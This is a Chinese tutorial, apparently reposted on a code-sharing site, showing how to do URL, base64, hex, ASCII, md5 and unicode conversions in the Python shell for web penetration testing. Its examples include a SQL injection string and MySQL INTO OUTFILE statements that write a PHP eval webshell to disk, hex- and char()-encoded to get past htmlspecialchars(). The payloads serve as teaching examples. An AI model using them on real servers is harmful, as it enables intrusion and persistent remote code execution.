python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
Python实例一个类背后发生了什么
Feb 09 Python
python制作爬虫爬取京东商品评论教程
Dec 16 Python
Python变量和字符串详解
Apr 29 Python
Python基于正则表达式实现文件内容替换的方法
Aug 30 Python
Python lambda函数基本用法实例分析
Mar 16 Python
django自带的server 让外网主机访问方法
May 14 Python
django 基于中间件实现限制ip频繁访问过程详解
Jul 30 Python
python中open函数的基本用法示例
Sep 07 Python
Python全栈之列表数据类型详解
Oct 01 Python
使用python实现回文数的四种方法小结
Nov 24 Python
python数据类型可变不可变知识点总结
Mar 06 Python
golang特有程序结构入门教程
Jun 02 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
PHP中cookies使用指南
2007/03/16 PHP
PHP图片处理之使用imagecopyresampled函数实现图片缩放例子
2014/11/19 PHP
thinkPHP学习笔记之安装配置篇
2015/03/05 PHP
php实现json编码的方法
2015/07/30 PHP
php实现支付宝当面付(扫码支付)功能
2018/05/30 PHP
使用onbeforeunload属性后的副作用
2007/03/08 Javascript
jquery validate使用攻略 第四步
2010/07/01 Javascript
JavaScript单元测试ABC
2012/04/12 Javascript
jQuery当鼠标悬停时放大图片的效果实例
2013/07/03 Javascript
jquerydom对象的事件隐藏显示和对象数组示例
2013/12/10 Javascript
JS判断数组那点事
2017/10/10 Javascript
浅谈vue中改elementUI默认样式引发的static与assets的区别
2018/02/03 Javascript
layer弹出的iframe层在执行完毕后关闭当前弹出层的方法
2018/08/17 Javascript
微信小程序项目总结之记账小程序功能的实现(包括后端)
2019/08/20 Javascript
vue实现折线图 可按时间查询
2020/08/21 Javascript
SpringBoot+Vue 前后端合并部署的配置方法
2020/12/30 Vue.js
Python实现公历(阳历)转农历(阴历)的方法示例
2017/08/22 Python
Python中实现switch功能实例解析
2018/01/11 Python
pyqt5实现登录界面的模板
2020/05/30 Python
Python多叉树的构造及取出节点数据(treelib)的方法
2019/08/09 Python
Python range与enumerate函数区别解析
2020/02/28 Python
解决Jupyter notebook更换主题工具栏被隐藏及添加目录生成插件问题
2020/04/20 Python
HTML如何让IMG自动适应DIV容器大小的实现方法
2020/02/25 HTML / CSS
工程部经理岗位职责
2013/12/08 职场文书
门卫岗位安全职责
2013/12/13 职场文书
副厂长岗位职责
2014/02/02 职场文书
大学校务公开实施方案
2014/03/31 职场文书
党员志愿者服务倡议书
2015/04/29 职场文书
代理词怎么写
2015/05/25 职场文书
青春雷锋观后感
2015/06/10 职场文书
优秀党员主要事迹范文
2015/11/05 职场文书
《七月的天山》教学反思
2016/02/19 职场文书
大学生入党自我鉴定范文
2019/06/21 职场文书
python requests模块的使用示例
2021/04/07 Python
CSS实现单选折叠菜单功能
2021/11/01 HTML / CSS
Python+tkinter实现高清图片保存
2022/03/13 Python